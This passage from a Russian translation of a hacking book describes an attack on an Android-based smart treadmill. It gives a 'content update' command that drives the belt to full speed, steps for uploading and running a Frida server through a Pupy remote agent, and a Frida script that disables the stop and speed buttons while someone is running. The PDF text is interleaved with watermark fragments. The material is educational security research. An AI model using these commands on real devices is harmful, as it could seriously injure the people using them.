Теперь, когда у нас есть права суперпользователя, мы можем по- лучать доступ, взаимодействовать и вмешиваться в функции другого приложения. Например, можем извлечь данные о тренировках теку- щего пользователя, его пароль для облачного приложения для отсле- живания фитнеса и его токен Facebook, а также изменить программу тренировок.

Дистанционное управление скоростью и наклоном

С помощью полученных нами удаленного доступа к оболочке и прав суперпользователя найдем способ управлять скоростью и наклоном

Взлом умного дома  453

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

беговой дорожки. Для этого придется исследовать программное обе-

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

спечение и оборудование (см. главу 3 для ознакомления с методоло-

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

гией, которая может вам в этом помочь). На рис. 15.24 показан обзор конструкции оборудования.

Мы обнаружили,что устройство построено надвух основных аппа- ратных компонентах–Hi Kit и Low Kit (элементы верхнего и нижнего уровня). Первый состоит из платы ЦП и основной платы устройства; второй–из платы управления оборудованием,которая действует как соединительный узел для основных компонентов нижнего уровня.

 

Сенсорный

 

 

экран

Рукоятка скорости

Сетевая

 

 

 

плата

USB

 

 

 

 

 

Рукоятка наклона

Плата

Док-станция

 

для iPod

 

процессора

 

Датчики

 

Считыватель

 

 

NFC

Кнопка аварийной

 

 

ЖК-дисплей

 

остановки

 

 

 

Основная плата

 

 

 

Концевой

 

Панельуправления

выключатель

 

 

 

 

Подъемный

 

 

двигатель

Плата управления приводом

 

Приводной

 

Узлы привода

двигатель

 

 

Инвертор

Рис.15.24.Структура аппаратного обеспечения умной беговой дорожки

Плата ЦП содержит микропроцессор, запрограммированный на управление беговой дорожкой. Он получает и обрабатывает сигналы ссенсорногоЖК-экрана,устройствачтенияNFC,док-станциидляiPod, клиентскогопортаUSB,которыйпозволяетпользователямподключать внешниеустройства,ивстроенногослужебногопортаUSB,которыйис- пользуется для установки обновлений. Плата ЦП также обеспечивает подключение устройства к сети через свою сетевую плату.

454  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Основная плата является интерфейсной платой для всех перифе-

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

рийных устройств, таких как регуляторы скорости и наклона, аваd-f-x chan

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

рийные кнопки и датчики состояния. Регуляторы позволяют пользо- вателям менять скорость и наклон тренажера во время тренировки. Каждый раз,когда их двигают вперед или назад,они отправляют сиг- нал на плату ЦП,чтобы изменитьскоростьили высоту,в зависимости оттого,какойрегуляториспользуется.Кнопкааварийнойостановки– это предохранительное устройство, которое позволяет пользователю остановить дорожку в аварийной ситуации. Датчики отслеживают пульс тренирующегося.

К элементам нижнего уровня относятся приводнойдвигатель,дви- гатель наклона, инвертор и концевой выключатель. Приводной дви- гатель и двигатель наклона определяют скорость и наклон беговой дорожки. Инверторное устройство подает питающее напряжение на приводной двигатель. Изменение этого напряжения может вызвать соответствующее изменение скорости бегового полотна. Концевой выключатель ограничиваетмаксимальную скорость приводного дви- гателя.

На рис. 15.25 показано, как программное обеспечение взаимодей- ствует со всеми этими периферийными устройствами.

Уровеньаппаратной

 

Прочие

HAL

периферийные

абстракцииAPK

 

устройства

 

 

Приемник запросов

 

Контроллер

Прочие

APKоборудования

периферийные

USB

 

устройства

 

 

Приемник запросов

Установленные приложенияAndroid

Рис.15.25.Связь программного обеспечения с периферийными устройствами

Взлом умного дома  455

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Подключенными периферийными устройствами управляют два

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

w Click

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

компонента: пользовательский компонент аппаратного уровня аб-

.

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

стракции (Hardware Abstraction Layer, HAL) и встроенный микро-

 

 

 

 

 

 

 

 

 

 

контроллер USB. Компонент HAL – это интерфейс, реализованный

 

 

 

 

 

 

 

 

 

 

поставщиком устройства, который позволяет установленным при-

 

 

 

 

 

 

 

 

 

 

ложениям Android взаимодействовать с драйверами устройств для

 

 

 

 

 

 

 

 

 

 

конкретногооборудования.ПриложенияAndroidиспользуютHALAPI

 

 

 

 

 

 

 

 

 

 

для связи со службами аппаратных устройств.Эти службы управляют

 

 

 

 

 

 

 

 

 

 

портами HDMI и USB, а также микроконтроллером USB для отправки

 

 

 

 

 

 

 

 

 

 

команд на изменение скорости приводного двигателя или управле-

 

 

 

 

 

 

 

 

 

 

ние двигателем наклона дорожки.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Беговая дорожка содержит предустановленное Android-приложе­

 

 

 

 

 

 

 

 

 

 

ние под названием HardwareAbstraction LayerAPK,которое использу-

 

 

 

 

 

 

 

 

 

 

ет HAL API, и еще одно приложение, Equipment APK (APK оборудова-

 

 

 

 

 

 

 

 

 

 

ния), – оно получает аппаратные команды от других установленных

 

 

 

 

 

 

 

 

 

 

приложений через открытый широковещательный приемник, а за-

 

 

 

 

 

 

 

 

 

 

тем передает их на оборудование с помощью­

APK уровня абстракции

 

 

 

 

 

 

 

 

 

 

оборудования и микроконтроллера USB, как показано на рис. 15.25.

 

 

 

 

 

 

 

 

 

 

 

Ряд других предустановленных приложений, таких как Dashboard

 

 

 

 

 

 

 

 

 

 

APK, отвечает за пользовательский интерфейс. Эти приложения так-

 

 

 

 

 

 

 

 

 

 

же должны управлять оборудованием и отслеживать текущее состоя-

 

 

 

 

 

 

 

 

 

 

ние оборудования. Текущее состояние оборудования поддерживает-

 

 

 

 

 

 

 

 

 

 

ся в другом предварительно установленном приложении Android под

 

 

 

 

 

 

 

 

 

 

названием Repository APK, которое находится в сегменте общей па-

 

 

 

 

 

 

 

 

 

 

мяти. Сегмент общей памяти – это выделенная область памяти, к ко-

 

 

 

 

 

 

 

 

 

 

торой несколько программ или приложений Android могут получать

 

 

 

 

 

 

 

 

 

 

одновременный доступ с помощью­

операций прямого чтения или

 

 

 

 

 

 

 

 

 

 

записи в память. Состояние также доступно через открытых постав-

 

 

 

 

 

 

 

 

 

 

щиков контента Android, но использование общей памяти позволяет

 

 

 

 

 

 

 

 

 

 

повысить производительность, которая необходима устройству для

 

 

 

 

 

 

 

 

 

 

операций в реальном времени.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Например,каждыйраз,когдапользовательнажимаетоднуизкнопок

 

 

 

 

 

 

 

 

 

 

регулировкискорости(элементDashboardAPK),устройствоотправляет

 

 

 

 

 

 

 

 

 

 

запрос контент-провайдеру Repository APK для обновления скорости

 

 

 

 

 

 

 

 

 

 

устройства.Затем Repository APK обновляет общую память и сообщает

 

 

 

 

 

 

 

 

 

 

об этом элементу Equipment APK с помощью­

уведомления Android In-

 

 

 

 

 

 

 

 

 

 

tent.ПослеэтогоEquipmentAPKотправляетсоответствующуюкоманду через USB-контроллер на периферийное устройство (рис.15.26).

Поскольку мы получили доступ к локальной оболочке с правами суперпользователя с по­мощью предыдущего пути атаки, мы можем использовать открытый контент-провайдер Repository APK для ими- тации действия кнопки. Это будет напоминать действие, полученное из Dashboard APK.

Используякомандуcontent update,мыможемимитироватькнопку, которая увеличивает скорость беговой дорожки:

$ content update

--uri content:// com.vendorname.android.repositoryapk.physicalkeyboard.

AUTHORITY/item

--bind JOY_DX_UP:i:1

 

 

456  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

РепозиторийAPK

Общая память

Уровеньаппаратной

HAL

Прочие

 

периферийные

 

 

абстракцииAPK

 

устройства

 

 

 

 

Поставщик контента

Приемник запросов

Прочие

периферийные

устройства

APKоборудования

Контроллер

 

USB

Узлы

 

 

 

привода

APKпанели приборов

Приемник запросов

 

Инвертор

Приводной

двигатель

Рис.15.26.Отправка команды из Dashboard APK на оборудование

Следом за командой располагается параметр uri,который опреде- ляет доступного поставщика контента, и параметр bind, привязыва- ющий конкретное значение к столбцу.В этом случае команда выпол- няетзапроснаобновлениеоткрытогоконтент-провайдераRepository APK под названием physicalkeyboard.AUTHORITY/item и устанавливает значениепеременной JOY_DX_UP равным единице.Вы можете опреде- лить полное имя приложения, а также имя открытого контент-про- вайдера и параметра bind, декомпилировав приложение, используя методы, представленные в главе 14 (в частности, в разделе «Анализ приложений Android»).

Теперь жертва находится на дистанционно управляемой беговой дорожке, которая разгоняется до максимальной скорости!

Отключение программного обеспечения и кнопок на панели управления

Чтобы остановить устройство или беговую дорожку, пользователь обычно может нажать одну из кнопок панели управления, например «пауза», «перезапуск», «замедление», «стоп» или кнопки «больше/ меньше», регулирующие скорость. Кнопки – это компоненты пред­

Взлом умного дома  457

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

установленногопрограммногообеспечения,котороеуправляетполь-

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

зовательским интерфейсом устройства. Также можно остановить

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

устройство,используя регуляторы скорости и наклона либо автоном- ную клавишу аварийной остановки, встроенную в нижнюю часть па- нели управления устройства, как показано на рис. 15.27.

АВАРИЙНЫЙ ОСТАНОВ

Рис.15.27.Программные и физические кнопки,позволяющие пользователю останавливать беговую дорожку

Каждый раз,когда пользователь нажимает одну из кнопок,устрой- ство использует Android IPC. Операция вставки, обновления или уда- ления выполняется в части провайдера контента приложения, кото- рая контролирует скорость устройства.

Мы можем использовать простой скрипт Frida, чтобы отключить эту связь. Frida – это платформа для динамического вмешательства, которая позволяет пользователю заменять определенные вызовы функций в памяти.Мы использовали его в главе 14,чтобы отключить определение корневого каталога приложения Android. В этом случае мы можем использовать аналогичный скрипт для замены функции обновления контент-провайдера приложения-репозитория, чтобы перестать получать новые интенты от кнопок.

Сначала создаем переадресацию для порта 27042, который будет использовать сервер Frida,используя команду portfwd агента Pupy:

$ run portfwd -L 127.0.0.1:27042:127.0.0.1:27042

Параметр -L указывает, что мы хотим выполнить переадресацию порта 27042 локального хоста 127.0.0.1 на удаленное устройство на том же порте.Хосты и порты должны быть разделены двоеточием (:). Теперь всякий раз, когда мы подключаемся к этому порту на нашем локальном устройстве, будет создаваться туннель, соединяющий нас с тем же портом на целевом устройстве.

Затем загружаем сервер Frida для платформ ARM (https://github.com/ frida/frida/releases/) на беговую дорожку с помощью­ команды загрузки

Pupy:

$ run upload frida_arm /data/data/org.pupy.pupy/files/frida_arm

458  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Команда загрузки получает в качестве первого аргумента рас-

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

положение двоичного файла, который мы хотим загрузить на нашеdf-x chan

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

устройство, и в качестве второго аргумента – путь к каталогу, в ко-

 

 

 

 

 

 

торый этот двоичный файл следует поместить в целевом устройстве.

 

 

 

 

 

 

Используем доступ к оболочке, чтобы пометить двоичный файл как

 

 

 

 

 

 

исполняемый с помощью­

утилиты chmod и запустить сервер:

 

 

 

 

 

 

 

 

 

 

$ chmod 777 /data/data/org.pupy.pupy/files/frida_arm $ /data/data/org.pupy.pupy/files/frida_arm &

Затем мы используем следующий скрипт Frida, который заменяет функциональность кнопки инструкциями, не выполняющими ника- ких действий:

var PhysicalKeyboard = Java.use("com.vendorname.android.repositoryapk.cp.PhysicalKeyboardCP"); PhysicalKeyboard.update.implementation = function(a, b, c, d){

return;

}

Как упоминалось ранее, Repository APK обрабатывает активности кнопок.Чтобы найти точную функцию,которую вам нужно заменить , вам придется декомпилировать приложение, используя методы, представленные в разделе «Анализ приложений Android».

Наконец, мы устанавливаем фреймворк Frida в нашу систему с по­ мощьюдиспетчера пакетов pip для Python и выполняем предыдущий скрипт Frida:

$ pip install frida-tools

$ frida -H 127.0.0.1:27042 –f com.vendorname.android.repositoryapk -l script.js

Параметр -H используется для указания хоста и порта сервера Fri- da, параметр –f – для указания полного имени целевого приложения и параметр -l – для выбора сценария. Мы должны указать в команде полное имя приложения, которое вы опять же можете найти, деком- пилировав приложение.

Теперь, даже если жертва пытается выбрать одну из программных кнопок Dashboard APK или нажать кнопки, которые управляют ско- ростью и наклоном, остановить устройство не удастся. Можно только нажать кнопку аварийной остановки в нижней части корпуса устрой- ства или найти другой способ выключить питание.

Можетли эта уязвимостьпривести к несчастномуслучаю со смертельным исходом?

Вероятность того, что пользователь получит серьезную травму в ре- зультате описанной атаки, немалая. Устройство достигло скорости 27 км/ч. Большинство коммерческих беговых дорожек может разви-

Взлом умного дома  459